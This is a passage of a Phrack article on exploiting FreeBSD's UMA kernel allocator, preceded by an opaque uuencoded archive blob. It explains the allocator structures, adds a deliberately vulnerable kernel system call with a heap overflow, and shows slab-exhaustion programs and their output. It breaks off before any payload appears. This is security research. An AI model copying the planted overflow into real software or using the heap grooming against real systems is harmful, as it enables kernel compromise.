M.P;!9+A.J&@)PQ;!"I^‘0,&]">*STOC‘"9:^%T#0(^,‘BGA"V%PTKCEGE[3B
MP/?#E#T,Z[E-\5M7[^AF$ZQP$8V+]@QV4Q’P88*(D(I’,+W0><G’$()QB"[^
M5Z8CM_X?9W_![<__Z/ZG:QAX_]/M]_K5_<^W*&7RE\X<H_DVNKJQ</[<5=#+
]A\/9I/[’Z-O@/WO&$9U_O-MRM’9S34S!YJV?[J*T#R#79;VES4P9AGT_DX6
M*@A%BUGS$.QMM\/.CYK::X=/7-CKG’ZX.7U_‘]L4IJX2[F8!W=W@4<P^1CI@
```

```
M6._I>'P_N621?;3X4-M*_II(,!@3;![8[[D56C.!5"%$_DB$@%9@`ZT5T+9*
M/AVW!?^23P&?PDU&B$_NU<U2?([.<7XK&OG^#D9.&A";L=H%385&V+GE&N-S
M>FA"BNZ$^U]<S>">1W<<#UP"M<D$TNL"W)3-Z^A>0B[DZ'0[,-;&HX0L12UT
M(N*-5:?+"&</=NX^:^`HS.$XI'L/;CJD(Q@7]/CX\/P(RMGAU=65/`L+^1PI
M%4LM(1K9)>_>N)COP!:C<ROIE1L6((>',85I&)`[W*'S`,2'5S*(KY=@5YBM
MU6V&;Q#AWB&,VOH6.^]TJ+NQUAV$,>.^NI/;A\D(T$2NXN=8K=+;0+H)5'WY
MBMN+B)@$`#-PP0`R?F)UXO?$"NNRHQ*^TA]U,\13Q9B(UCAM<Y*>(8]`69'*
M.W6#MN4'\Z_T(S[%I!63CI&YFLS1F52EQ"95*<54)<E.3EY+KG+C+[648"5M
M*3SX)U[<CI^`KQ]!<?;>]&[I%@WU'W=OTGQPYD[H&LS<P]@2KP5=RP.E=;2M
MSSZVTB6O'^1N8&FN5`?8Z(8*8T0^7J2W><]?^^ZG:WC]EH]NI15SX#N93;:K
MY(I&A*U11'4%BDKYT!ND]WM<3@4,ZU<J0!WP,3F<E51*"K/U0.G)Z=%OOTC3
MXF7LGM*5^'X^$;^S9GP!PR]@"PA9P4[=V[#`X$=JK)2^I;B%N[6UM9]^9U8/
M6K/Q"IL9;?;I]&L>\D<W6&`X;OE^?'F;,7Z.$>-+7PT(E^S%R>GA"2!;)R9C
M1$$0,PO\E._<^>#7U`S;26'7,%?8"'#NX_D(SUI)LD?R-CBYU%T'AYV&B,*%
M';&3P\M-3@8FI"A4TX/9<5P\`,ODWQ3?VUE"P,=D@.B^MTLK[FB!1U@P!FZO
M0B:KB_!22Y%AY@`<,OJ.8,*N%;6N;\>LRG<VR%@('H*I?;FG"3W]Q6P,-`!B
M%2UL1K[P%Z(<=2IB&SSR6$XS=@49[G5*(!P1`V1<S0O]#7+Y2#*3<_B_")`-
M1HRL-AEK^LQ^7OAR.]DSIR.UR"BRP[/DC`'(+$IKBJ;+1!..*SQ#8_),HM^W
MK/V4"*^%CAT`G-"%R$;)'NL.)FX(4=LT%BLMFN[Z\OQLY]?D,U,P#)C"%<=0
M\,05#^R:;H.R=%/$4!RJ##\:2JQ$,ZYE6T>Y9JC5XFZCQ.8D;$?OY0?V=(UH
ML&'!/85+8PC"&H='QR>G.I1F.<-7K8RR$_L-GBB%Y9$X<@(HFB#%34G+*&/8
M,P9?#:)\A`U3H\\W26%'%U=7AU?L_04[>W]\=7H.@?SA#PP:4A>2RN4,%VE!
MCY6%ZN9M'*.R#R2R`V8OPO!N'@BV;OEVJ<\._O'NZ%#9,TU#W@.]HRS#DM61
MV(M,P)8N'56),K-6&9G)Z1<7GGP((\=#!XN]1AH0<X='H#D?&]U%7$7^*4^0
M;([+RZ%XU'(4A]865^>9Q?7%*^EYYU&B_<`<J#"[=WYPQ\/UY?4[/9.">I`C
*H]E1YF=V)J>HF;V^GEC8!C&\PJ9'7BT-O*UW%>BSZ^'01#5LV8M,S5<;<K%
Q;X-XBYIU;,Z!_.G3GVS0ZY%L#GY"1*`)G>Q^74L%<5!&[L:&@,KLZ:C2;!0
&I+MB?L28[6W.]@M]MVG4'`&H=@^M7&F*HI85)ALEF`I]!U@7[YKF"JH*O1&
?:0OW!$!'^7'#WB%H;J-DE6B[`'I><H1#:\$I3@*NTX*65QM'4/!#";&-.XH
THZ@G.I8(!,J)7I@&JM!O]_M*U'A23'SN))M`776,FOXUN&.='?$V'.4J][)
S-*]H;,>E&6>[HE(33J_F\RH/LOO"EE^6\AR^T*Z"EJSS>L^U^!9[!L6ED*M
9>1+B,A;R)YD89*!-8C>YIYE<]B_"T':A8?AP+>Z5=>DRL;&DY8$'F1P/DZ#
C6R+88SY>D.\9S<-H]#4HR9[6-(TH*:^80P*3;O4U./]8:')-!3&7J_8I@CI
]8HH34E)Q^R8Q;;!\Q,P=U7;P"K.VU`\*6N3M`RL?I&6CJ1ES$O&ZRA:^L:X
V"9I&0Z=W4);5]+B#":38EOG>=EU>^F!2[%1R6A00FA7$F-U2I#V)#&[IEUD
3$\2,YD,[6*;)&;/</`DLMR[JN>]9>ZU^XQ[Q<6!ITD!>^0AODK[ZQQO-NI*
MK]?8\N;CV]*MKQ"F2UY>B+M_SY=@+G^@BNC'P^!9TM:_E3A^YX_5^7[EK+[
GZ][^[_Q_K]G#H=)_M>P1_D__6&5__--RJ\<+[Q#GGD`(#(O`$).;^;PP905
7Z&K6_8;#,E=#S:L=$#-U>M>O+Q&>()>^(2W1AWU^5.-R4?&R?,\'Z#EU780
/I'1@M@-[\SIJ6[@><&2;M#Q"GZD:>UPV0[;^!\SF91(_(N9P\YPP&!'L-<V
NFW8$IA[(_`,A\>79X9^>/[N16``-Y\!-O6CL_<OCSSH[O:*P$='^M7%^8N0
_;[9-4L@@9''%R?&1OANUS#WGH4W-\/WAOWGQ^]LAA_N[CT_?G<C/`BMM[L.
WV,GI\<7YY?'F^?/>F!8BN.?G%U?OCO\C\WP9L\<=(KP[RY^N3#TRU\^O`1L
]O;,H5$.;&X"9N:NV2G,O,O.SZY/KQ*Z5V$;_RM"[^UVC9)Y7UZ=7L(*U4\_
G+XX>`>62HG8852`_"*V=_?ZS\)O5CM0_+T2S@&8?GU\];+&#?;Z)1*[/KWY
[?(+Y+W;,TL&OKZY.GO_R_5F^(ZY5[;2;T[/0=]NOF#\3JG<?KL\.;PYW0P^
0,]9`I[HC(;O'U'\0II,LNRP-_<6:,]=:8TOIP'WW17#_!YVZKAXH+>(7,^-
GG2)`:]9Z042OH]<171$Y*0OC\C.(W[6\-P'^1ZJUS-T;*=.TE&TZ"8P?=YD
ZB8]"<._NDVF'D>1W\''_[42NFHQ82V,X.DY=$?OZ`9@PE-(ON2AS@[EZS7U
H`J0/<%F_#,^[\37*^F++7J.%LEGW\FC,WS<S6R(>")T@8'@BG$!>J:(8RX,
/O-*?!1PZ'>\(Y?OQ1P7TPW'"P*VHIA:"+/#)-E$4,0?C&7`#R.)P!>`YM`3
02M]B"Y])L!0CDF<`Q*"T"!`\3PI/M@'Q(=AZ'ESKR$$:YQ%=<$<?(">FU]3
9[_CFW3`0<B!@7W=,%'6KF!+"V#X(_>`6X[,VP&W3?-?C!=^M&"[.BP:?&E'
SVM)N_`='NJ8K](LP$OSIGPDK][KQ8_89I@BXL8O]WSLZ01+?%<0Z-7FX[N7
LO@_CM:^UA@;WO]UP2AFWO]U,/[OF/TJ_O\6Y<7\/[K7QC1`39,AV=&[B^._
']2R\5GMA>S`SLO9@=*()68?O$HA)?`]6$4Z'@XBO%O&PZ"0DHC0L.KLT@-S
RLG/I)O6E_(*_U0>X17=[R2`]%P_EW.7IC'IL''A8:.)/$FZZ&`OG48-'U/6
FC\9V3S!-#WLXZB\_RU04#Q+3P_53^C1)EY$VIQ2`]D+O:%HV[D\P^4T\-1;
*7`OKO\9W%TF`Z^N,A^1ECJF[R49:EKZ6C1)YTIR%G/)7$H:OV)/?-;,'<PL
E#<W<7YABJRIS6`GJ-#6/ZWVK$^KGO%I9?0^K;KC3ZO!`.J,.MM6)W\<5O$.
G@4:VO8[?#2-LY+H\&(60P<(351^)M:'E.U)!-=A8OBT#6>64?1G\C6W\?\?
L:##-GGSHK.?Z<@0_.;?M"TY0LD0+V+?4NBW`%0QZK7(#G%=DOW98O/2!9`?
"##&2KR%I,\W3IO26:BO2FE1DXDKX[26[4-'\CG)1I1O+@[PQ:*6<D#]);,+
99?;G5B\.W$KRC^N;.ZD74>WZ4#IVT\%M8.)CGM&[8UI&#NI]L3-!W&W.FD+
],)TQ#0+#'&"$6/T;G,-YN/(6$UN=Z05U.<P\4;MQU]KK5A/D2%M8V4>-I,I
P!<F76U?QP\^Z>DDA%5%10P6D4PD*G(>FM;YCE4QU\$0'`,RS&-6FG(9\CDX
;EW7:]DUJ[_-;`B9_E;MK^IIPA6PP(=_1<!CV(^\AW\%R$RO<,;>Z.<7)RF^
,TH!ABW'$G_X@;QE%BUU*+24.P<QQ4QGW%O0\0]M)&P9XM+1$CF5[^T7_U7*
MAO?_$*W_^?\-U,;W_V8WSO\:]+K=5Y@&9E3GO]^DO/S^/_/\GRU\-\KG`#!N
MV=,J$:!*!$!\52)`E0A0)0)4B0!5(D"5"%`E`E2)`%4B0)4(4"4"5(D`52)`
ME0A0)0)4B0!5(D"5"%`E`E2)`%6I2E6J4I6J5*4J5:E*5:I2E:I4I2I5^:;E
*OP'CP.BZ`'@`````
`
end
```

--------[EOF

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x08 of 0x11

```
|=-----------------------------------------------------------------------=|
|=--------=[ Exploiting UMA, FreeBSD's kernel memory allocator ]=--------=|
|=-----------------------------------------------------------------------=|
|=---------------=[    By argp <argp@hushmail.com>,      ]=--------------=|
|=---------------=[       karl <karl@signedness.org      ]=--------------=|
|=-----------------------------------------------------------------------=|
```

--[Table of contents

--[1 - Introduction

The latest development version (8.0-CURRENT at the time of this writing) of FreeBSD has introduced stack-smashing detection and protection for the kernel by utilizing the incorporation of SSP in GCC [1, 2]. This creates an increased interest in exploring the FreeBSD kernel heap implementation, or zone allocator to be more precise, from a security perspective since it currently provides no exploitation mitigation mechanisms.

This paper presents my findings on exploiting FreeBSD's kernel memory allocator, or UMA - the universal memory allocator [3, 4], on the IA-32 platform. While a certain amount of knowledge of the FreeBSD kernel's internals and IA-32 assembly would be useful in following the paper, they are not strictly required. All presented details and supporting code have been tested on FreeBSD 7.0, 7.1, 7.2 and 8.0-CURRENT from 20090511, but since 7.2 is the latest stable version all code excerpts have been taken from it.

--[2 - UMA: FreeBSD's kernel memory allocator

UMA or the universal memory allocator, also referred to as a zone allocator in the documentation, is FreeBSD's kernel memory allocator that functions like a traditional slab allocator [5]. The main idea behind slab allocators is that they provide an efficient memory management front-end, usually divided into multiple layers, to the low-level page allocations by retaining the state of constant-sized items between uses. It is called a slab allocator since it initially allocates large areas, or slabs, of memory and then pre-allocates on them items of a particular type and size per slab. When the kernel requests through the malloc(9) interface items of a certain type, a pre-allocated item that was marked as free from the corresponding slab is returned. UMA is also used for arbitrary-sized malloc(9) requests in which case the requested size is adjusted for alignment to find the suitable slab. The advantages of this approach are no fragmentation of the kernel's memory and increased performance since the items are pre-allocated and grouped to slabs according to their size.

The exploitation of slab overflow vulnerabilities has been investigated in the past by twiz and sgrakkyu in the context of the Linux and Solaris kernels [6]. Specifically, they have identified that slab overflows may lead to corruptions of a) adjacent items on a slab, b) page frames that are adjacent to the last item of a slab, or c) slab control structures. The example they give in [6] uses approach a) to exploit Linux kernel slab overflows. On FreeBSD I use approach c).

Since FreeBSD’s UMA implementation uses the terms ’zone’ and ’slab’ to refer to conceptually different things, I will now stop using them interchangeably. A full explanation of both is given below, just keep in mind for the time being that in the context of the FreeBSD kernel a zone and a slab are not the same thing.

On FreeBSD we can use the vmstat(8) utility to get a report on the different types of zones that the kernel has created for its data structures, and their characteristics like name, size of the type of item allocated on them, number of items currently in use, and number of free items per zone, among others:

```
[argp@julius ~]$ vmstat -z
ITEM                SIZE     LIMIT      USED      FREE  REQUESTS  FAILURES

UMA Kegs:           128,        0,       94,       26,       94,        0
UMA Zones:          480,        0,       94,        2,       94,        0
UMA Slabs:           64,        0,      353,        1,      712,        0
UMA RCntSlabs:      104,        0,       69,        5,       69,        0
UMA Hash:           128,        0,        6,       24,        7,        0
16 Bucket:           76,        0,       31,       19,       50,        0
32 Bucket:          140,        0,       20,        8,       41,        0
64 Bucket:          268,        0,       27,        1,       76,       11
128 Bucket:         524,        0,       18,        3,      975,       30
VM OBJECT:          124,        0,      830,       69,    12161,        0
MAP:                140,        0,        7,       21,        7,        0
KMAP ENTRY:          68,    15512,       24,      200,     1750,        0
MAP ENTRY:           68,        0,      555,      117,    24862,        0
DP fakepg:           72,        0,        0,        0,        0,        0
mt_zone:           1032,        0,      255,      129,      255,        0
16:                  16,        0,     2250,      389,    15191,        0
32:                  32,        0,     1163,       80,    10077,        0
64:                  64,        0,     3244,       60,     5149,        0
128:                128,        0,     1493,      187,     5820,        0
256:                256,        0,      308,        7,     3591,        0
512:                512,        0,       43,       13,      827,        0
1024:              1024,        0,       47,       81,     1405,        0
2048:              2048,        0,      314,        6,      491,        0
4096:              4096,        0,      101,       12,     4900,        0
Files:               76,        0,       51,       99,     3803,        0
TURNSTILE:           76,        0,       78,       66,       78,        0
umtx pi:             52,        0,        0,        0,        0,        0
PROC:               696,        0,       62,       18,      839,        0
THREAD:             556,        0,       76,        1,       76,        0
UPCALL:              44,        0,        0,        0,        0,        0
SLEEPQUEUE:          32,        0,       78,      148,       78,        0
VMSPACE:            232,        0,       20,       31,      797,        0
cpuset:              40,        0,        2,      182,        2,        0
audit_record:       856,        0,        0,        0,        0,        0
mbuf_packet:        256,        0,        0,      128,       26,        0
mbuf:               256,        0,        1,      141,      778,        0
mbuf_cluster:      2048,     8768,      128,        6,      141,        0

...

Mountpoints:        716,        0,        5,        5,        5,        0
FFS inode:          128,        0,      429,       21,      451,        0
FFS1 dinode:        128,        0,        0,        0,        0,        0
FFS2 dinode:        256,        0,      429,       21,      451,        0
SWAPMETA:           276,    30548,        0,        0,        0,        0
```

FreeBSD’s UMA implementation uses a number of different structures to manage kernel virtual memory. All of these structures can be found in src/sys/vm/uma_int.h. The fundamental one is the zone which is defined as a struct of type uma_zone [7]:

```
struct uma_zone {
    char        *uz_name;   /* Text name of the zone */
    struct mtx  *uz_lock;   /* Lock for the zone (keg's lock) */
    uma_keg_t   uz_keg;     /* Our underlying Keg */               [2-1]

    LIST_ENTRY(uma_zone)    uz_link;        \
                        /* List of all zones in keg */             [2-2]
    LIST_HEAD(,uma_bucket)  uz_full_bucket; /* full buckets */     [2-3]
    LIST_HEAD(,uma_bucket)  uz_free_bucket; /* Buckets for frees */ [2-4]

    uma_ctor    uz_ctor;    /* Constructor for each allocation */
    uma_dtor    uz_dtor;    /* Destructor */                       [2-5]
    uma_init    uz_init;    /* Initializer for each item */
    uma_fini    uz_fini;    /* Discards memory */

    u_int64_t   uz_allocs;  /* Total number of allocations */
    u_int64_t   uz_frees;   /* Total number of frees */
    u_int64_t   uz_fails;   /* Total number of alloc failures */
    uint16_t    uz_fills;   /* Outstanding bucket fills */
    uint16_t    uz_count;   /* Highest value ub_ptr can have */

    /*
     * This HAS to be the last item because we adjust the zone size
     * based on NCPU and then allocate the space for the zones.
     */
    struct uma_cache    uz_cpu[1];  /* Per cpu caches */
};
```

Each uma_zone structure is created to allocate a specific type of kernel memory and is itself allocated on a zone called 'UMA Zones'. As we can see, uma_zone contains function pointers for allowing the kernel programmer to define custom constructors and destructors for each allocated item. This is an important detail to keep in mind when we are looking for a way to divert the flow of execution after an overflow. uma_zone also holds statistical data for the zone, like the total numbers of allocations, frees and failures. Most importantly, a zone structure also contains two lists of uma_bucket structures, or buckets, which cache items that have been allocated/deallocated from the zone's slabs. These buckets are defined as follows [8]:

```
struct uma_bucket {
    LIST_ENTRY(uma_bucket)  ub_link;    /* Link into the zone */
    int16_t ub_cnt;                     /* Count of free items. */
    int16_t ub_entries;                 /* Max items. */
    void    *ub_bucket[];               /* actual allocation storage */
};
```

In a uma_zone struct the uz_free_bucket list at [2-4] holds buckets to be used for deallocations of items, while the uz_full_bucket list at [2-3] for allocations.

To enhance performance on multiprocessor systems each zone also has an array of per-CPU caches that are logically on top of the zone's buckets. These are defined structures of type uma_cache [9]:

```
struct uma_cache {
    uma_bucket_t    uc_freebucket;  /* Bucket we're freeing to */
    uma_bucket_t    uc_allocbucket; /* Bucket to allocate from */
    u_int64_t       uc_allocs;      /* Count of allocations */
    u_int64_t       uc_frees;       /* Count of frees */
};
```

A keg is another UMA structure used for back-end allocation that describes the format of the underlying page(s) on which the items of the corresponding zone are stored. Kegs are of type struct uma_keg [10]:

```
struct uma_keg {
    LIST_ENTRY(uma_keg) uk_link;    /* List of all kegs */

    struct mtx  uk_lock;            /* Lock for the keg */
    struct uma_hash uk_hash;

    LIST_HEAD(,uma_zone)    uk_zones;       \
                                /* Keg's zones */               [2-6]
    LIST_HEAD(,uma_slab)    uk_part_slab;   \
                                /* partially allocated slabs */ [2-7]
    LIST_HEAD(,uma_slab)    uk_free_slab;   \
                                /* empty slab list */           [2-8]
    LIST_HEAD(,uma_slab)    uk_full_slab;   \
                                /* full slabs */                [2-9]

    u_int32_t   uk_recurse;     /* Allocation recursion count */
    u_int32_t   uk_align;       /* Alignment mask */
    u_int32_t   uk_pages;       /* Total page count */
    u_int32_t   uk_free;        /* Count of items free in slabs */
    u_int32_t   uk_size;        /* Requested size of each item */
    u_int32_t   uk_rsize;       /* Real size of each item */
    u_int32_t   uk_maxpages;    /* Maximum number of pages to alloc */

    uma_init    uk_init;        /* Keg's init routine */
    uma_fini    uk_fini;        /* Keg's fini routine */
    uma_alloc   uk_allocf;      /* Allocation function */
    uma_free    uk_freef;       /* Free routine */

    struct vm_object    *uk_obj;    /* Zone specific object */
    vm_offset_t uk_kva;         /* Base kva for zones with objs */
    uma_zone_t  uk_slabzone;    \
                        /* Slab zone backing us, if OFFPAGE */  [2-10]

    u_int16_t   uk_pgoff;   /* Offset to uma_slab struct */     [2-11]
    u_int16_t   uk_ppera;   /* pages per allocation from backend */
    u_int16_t   uk_ipers;   /* Items per slab */
    u_int32_t   uk_flags;   /* Internal flags */
};
```

While it is possible for a zone to be associated with more than one keg for receiving allocations from multiple source pages, it is not a very common occurrence (except in some network optimization cases for example) and therefore we will focus on the case of having an one-to-one association between kegs and zones. When a zone is created by the kernel, the corresponding keg is created as well. A zone's keg holds three lists of slabs:

    * uk_full_slab is the list which holds full slabs; that is slabs on
    which all items are marked as being used or allocated [2-9],

    * uk_free_slab holds slabs on which all items are marked as not being
    used or free [2-8],

    * the uk_part_slab list holds slabs which contain both allocated and
    free items [2-7].

Each slab is of size UMA_SLAB_SIZE which is equal to PAGE_SIZE, which by default is set to 4096 bytes. Slabs are described by uma_slab structures [11]:

```
struct uma_slab {
    struct uma_slab_head    us_head;    /* slab header data */  [2-12]
    struct {
            u_int8_t        us_item;
    } us_freelist[1];                   /* actual number bigger */
};
```

The slab header structure, uma_slab_head at [2-12], contains the metadata that are necessary for the management of the slab/page [12]:

```
struct uma_slab_head {
    uma_keg_t   us_keg;                 /* Keg we live in */    [2-13]
    union {
            LIST_ENTRY(uma_slab)    _us_link;   /* slabs in zone */
            unsigned long   _us_size;   /* Size of allocation */
    } us_type;
    SLIST_ENTRY(uma_slab)   us_hlink;   /* Link for hash table */
    u_int8_t    *us_data;               /* First item */
    u_int8_t    us_flags;               /* Page flags see uma.h */
    u_int8_t    us_freecount;   /* How many are free? */
    u_int8_t    us_firstfree;   /* First free item index */
};
```

So, to put it all together, each zone holds buckets of items that are allocated from the zone's slabs. Each zone is also associated with a keg which holds the zone's slabs. Each slab is of the same size as a page frame (usually 4096 bytes) and has a slab header structure which contains management metadata. The following diagram ties together all the UMA data structures we have analyzed so far:

```
 ...................
 |  +-----------+  |
 |  |CPU 0 cache|  |
 |  +-----------+  |
 |                 |
 |.--------------. |
 ||  uma_cache   | |   .--------.                  .-------.
 ||     ...      |<----|uma_zone|----------------->|uma_keg|
 ||uc_freebucket | |   `--------'                  `-------'
 ||uc_allocbucket| |        |                          |
 |`|-------------' |        |                          |
 '`|''''''''''''''''        |                          |
   |                        |                          |
   |         +--------------+-------+                  |
   |         |                      |                  |
   |         |                      |                  |
   |         v                      v                  |
   |  uz_full_bucket         uz_free_bucket            |
   |    .----------.           .----------.            |
   |    |.----------.          |.----------.           |
   |    `|.----------.         `|.----------.          |
   |     `|.----------.         `|.----------.         |
   +----->`|uma_bucket|         .`|uma_bucket|         |
   |       `----------'       .   `----------'         |
   |          .             .           ^              |
   |          .           .             |              |
   +----------.---------.---------------+              |
              .       .                                |
              .     .      +------------------+--------+-----------+
              .   .        |                  |                    |
              . .          v                  v                    v
              .       uk_part_slab       uk_free_slab       uk_full_slab
              .         .--------.         .--------.         .--------.
              .         |.--------.        |.--------.        |.--------.
              .         `|.--------.       `|.--------.       `|.--------.
              .          `|.--------.       `|.--------.       `|.--------.
              .           `|uma_slab|       `|uma_slab|       `|uma_slab|
              .            `--------'.       `--------'         `--------'
              .                        .          .           .
              .                          .        .         .
              .                        .----------------------.
              .                        |      uma_slab        |
              .                        |                      |
 .------------------------.            |   .-------------.    |
 |                        |            |   |uma_slab_head|    |
 |      uma_bucket        |            |   `-------------'    |
 |         ...            |            | .------------------. |
 |  .------------------.  |            | |struct {          | |
 |  |void *ub_bucket[];|---------------->|u_int8_t us_item  | |
 |  `------------------'  |            | |} us_freelist[];  | |
 `------------------------'             | `------------------' |
                                        `----------------------'
```

Depending on the size of the items a slab has been divided into for, the uma_slab structure may or may not be embedded in the slab itself. For example, let's consider the anonymous zones ('4096', '2048', '1024', ..., '16') which serve malloc(9) requests of arbitrary sizes by adjusting for alignment purposes the requested size to the nearest zone. The '512' zone is able to store eight items of 512 bytes in every slab associated with it. The uma_slab structure in this case is stored offpage on a UMA zone that has been allocated for this purpose. The uma_keg structure associated with the '512' zone actually contains a uma_zone pointer to this slab zone (uk_slabzone at [2-10]) and an unsigned 16-bit integer that specifies the offset to the corresponding uma_slab structure (uk_pgoff at [2-11]).

On the other hand, the slabs of the '256' anonymous zone store fifteen items (of size 256 bytes each) and in this case the uma_slab stuctures are stored onto the slabs themselves after the memory reserved for items. These two slab representations are actually illustrated in a comment in the FreeBSD code repository [13]. We include the diagram here since it is crucial for the understanding of the slab structure ('i' represents a slab item):

```
Non-offpage slab
___________________________________________________________
| _  _  _  _  _  _  _  _  _  _  _  _  _  _  _   ___________ |
||i||i||i||i||i||i||i||i||i||i||i||i||i||i||i| |slab header||
||_||_||_||_||_||_||_||_||_||_||_||_||_||_||_| |___________||
|___________________________________________________________|

Offpage slab
___________________________________________________________
| _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _    |
||i||i||i||i||i||i||i||i||i||i||i||i||i||i||i||i||i||i||i|  |
||_||_||_||_||_||_||_||_||_||_||_||_||_||_||_||_||_||_||_|  |
|___________________________________________________________|
 ___________    ^
|slab header|   |
|___________|---+
```

--[3 - A sample vulnerability

In order to explore the possibility of exploiting UMA related overflows we will add a new system call to FreeBSD via the dynamic kernel linker (KLD) facility [14]. The new system call will use malloc(9) and introduce an overflow on UMA managed memory. This sample vulnerability is based on the signedness.org challenge #3 by karl [15] (we don't include the complete KLD module here, see file bug/bug.c in the code archive for the full code):

```
#define SLOTS 100

static char *slots[SLOTS];

#define OP_ALLOC    1
#define OP_FREE     2

struct argz
{
    char *buf;
    u_int len;
    int op;
    u_int slot;
};

static int
bug(struct thread *td, void *arg)
```

```
{
    struct argz *uap = arg;

    if(uap->slot >= SLOTS)
    {
        return 1;
    }

    switch(uap->op)
    {
        case OP_ALLOC:
            if(slots[uap->slot] != NULL)
            {
                return 2;
            }

[3-1]       slots[uap->slot] = malloc(uap->len & ~0xff, M_TEMP, M_WAITOK);
            if(slots[uap->slot] == NULL)
            {
                return 3;
            }

            uprintf("[*] bug: %d: item at %p\n", uap->slot,
                    slots[uap->slot]);

[3-2]       copyin(uap->buf, slots[uap->slot] , uap->len);
            break;

        case OP_FREE:
            if(slots[uap->slot] == NULL)
            {
                return 4;
            }

[3-3]       free(slots[uap->slot], M_TEMP);
            slots[uap->slot] = NULL;
            break;

        default:
            return 5;
    }

    return 0;
}
```

The new system call is named 'bug'. At [3-1] we can see that malloc(9) does not request the exact amount of memory specified by the system call arguments (and therefore the user), but then in [3-2] the user-specified length is used in copyin(9) to copy userland memory to the UMA managed kernel space memory. In [3-3] we can see that the new system call also provides for us a away to deallocate a previously allocated slab item. After compiling and loading the new KLD module we need a userland program that uses the new system call 'bug'. Using this we populate the slabs of the '256' anonymous zone with a number of items filled with '0x41's (file exhaust.c in the code archive):

```
// Initially we load the KLD:
[root@julius ~/code/bug]# kldload -v ./bug.ko
bug loaded at 210
Loaded ./bug.ko, id=4

// As a normal user we can now use exhaust.c:
[argp@julius ~/code/bug]$ kldstat | grep bug
 4    1 0xc263f000 2000      bug.ko
[argp@julius ~/code/bug]$ vmstat -z | grep 256:
256:                      256,        0,      310,       35,     9823,        0
[argp@julius ~/code/bug]$ ./exhaust 20
[*] bug: 0: item at 0xc25db300
[*] bug: 1: item at 0xc25db700
[*] bug: 2: item at 0xc25da100
[*] bug: 3: item at 0xc2580700
[*] bug: 4: item at 0xc2580500
[*] bug: 5: item at 0xc25daa00
[*] bug: 6: item at 0xc2580200
[*] bug: 7: item at 0xc2434100
[*] bug: 8: item at 0xc25db000
[*] bug: 9: item at 0xc25dba00
[*] bug: 10: item at 0xc2580900
[*] bug: 11: item at 0xc25dab00
[*] bug: 12: item at 0xc25db200
[*] bug: 13: item at 0xc25db400
[*] bug: 14: item at 0xc25db500
[*] bug: 15: item at 0xc257fe00
[*] bug: 16: item at 0xc2434000
[*] bug: 17: item at 0xc25db100
[*] bug: 18: item at 0xc2580e00
[*] bug: 19: item at 0xc25dad00
[argp@julius ~/code/bug]$ vmstat -z | grep 256:
256:                       256,        0,      330,       15,     9873,        0
```

As we can see from the output of vmstat(8), the number of items marked as free have been reduced from 35 to 15 (since we have consumed 20).

UMA prefers slabs from the partially allocated list (uk_part_slab [2-7]) in order to satisfy requests for items, thus reducing fragmentation. To further explore the behavior of UMA, we will write another userland program that parses the output of ’vmstat -z’ and extracts the number of free items on the ’256’ zone. Then it will use the new ’bug’ system call to consume/allocate this number of items. UMA will subsequently create a number of new slabs and our userland program will continue and consume/allocate another fifteen items (fifteen is the maximum number of items that a slab of the ’256’ zone can hold; getzfree.c is available in the code archive):

```
// Again, we load the KLD as root:
[root@julius ~/code/bug]# kldload -v ./bug.ko
bug loaded at 210
Loaded ./bug.ko, id=4

// As a normal user we can now use getzfree.c:
[argp@julius ~/code/bug]$ ./getzfree
---[ free items on the 256 zone: 41
---[ consuming 41 items from the 256 zone
[*] bug: 0: item at 0xc25e4900
[*] bug: 1: item at 0xc2592300
[*] bug: 2: item at 0xc25e4300
[*] bug: 3: item at 0xc25e4a00
[*] bug: 4: item at 0xc25e3600
[*] bug: 5: item at 0xc25e4400
[*] bug: 6: item at 0xc25e4000
[*] bug: 7: item at 0xc25e4b00
[*] bug: 8: item at 0xc25e4c00
[*] bug: 9: item at 0xc25e3500
[*] bug: 10: item at 0xc25e4e00
[*] bug: 11: item at 0xc25e4100
[*] bug: 12: item at 0xc2593a00
[*] bug: 13: item at 0xc25e3700
[*] bug: 14: item at 0xc25e4200
[*] bug: 15: item at 0xc2592200
[*] bug: 16: item at 0xc2381800
[*] bug: 17: item at 0xc2593d00
[*] bug: 18: item at 0xc2592600
[*] bug: 19: item at 0xc2592500
[*] bug: 20: item at 0xc235d900
[*] bug: 21: item at 0xc2434b00
[*] bug: 22: item at 0xc2592800
[*] bug: 23: item at 0xc2434800
[*] bug: 24: item at 0xc2592000
[*] bug: 25: item at 0xc2435e00
[*] bug: 26: item at 0xc25e4d00
[*] bug: 27: item at 0xc25e4600
[*] bug: 28: item at 0xc25e3d00
[*] bug: 29: item at 0xc25e3c00
[*] bug: 30: item at 0xc25e4500
[*] bug: 31: item at 0xc25e3900
[*] bug: 32: item at 0xc25e4700
[*] bug: 33: item at 0xc25e3b00
[*] bug: 34: item at 0xc25e3000
[*] bug: 35: item at 0xc25e3200
[*] bug: 36: item at 0xc25e3800
[*] bug: 37: item at 0xc25e3300
[*] bug: 38: item at 0xc25e3100
[*] bug: 39: item at 0xc25e4800
[*] bug: 40: item at 0xc25e3a00
---[ free items on the 256 zone: 45
---[ allocating 15 items on the 256 zone...
[*] bug: 41: item at 0xc25e6800
[*] bug: 42: item at 0xc25e6700
[*] bug: 43: item at 0xc25e6600
[*] bug: 44: item at 0xc25e6500
[*] bug: 45: item at 0xc25e6400
[*] bug: 46: item at 0xc25e6300
[*] bug: 47: item at 0xc25e6200
[*] bug: 48: item at 0xc25e6100
[*] bug: 49: item at 0xc25e6000
[*] bug: 50: item at 0xc25e5e00
[*] bug: 51: item at 0xc25e5d00
[*] bug: 52: item at 0xc25e5c00
[*] bug: 53: item at 0xc25e5b00
[*] bug: 54: item at 0xc25e5a00
[*] bug: 55: item at 0xc25e5900
```

During the initial allocations the items are placed at seemingly unpredictable locations due to the fact that the items are actually allocated in free spots on partially full existing slabs. After the current number of free items of the '256' zone is consumed, we can see that the next allocations follow a pattern from higher to lower addresses. Another useful observation we can make is that we always get a final item of a slab (i.e. at address 0x_____e00 for the '256' zone) somewhere in the next fifteen, or generally ITEMS_PER_SLAB, item allocations of newly created slabs. Since we know that the slabs of the '256' anonymous zone have their uma_slab structures stored onto the slabs themselves, we can explore the kernel memory with ddb(4) [16] and try to identify the different UMA structures we have presented in the previous section.

```
// We start by examining the memory at item #51 (0xc25e5d00).
db> x/x 0xc25e5d00,100
0xc25e5d00:     41414141        41414141        41414141        41414141
0xc25e5d10:     41414141        41414141        41414141        41414141
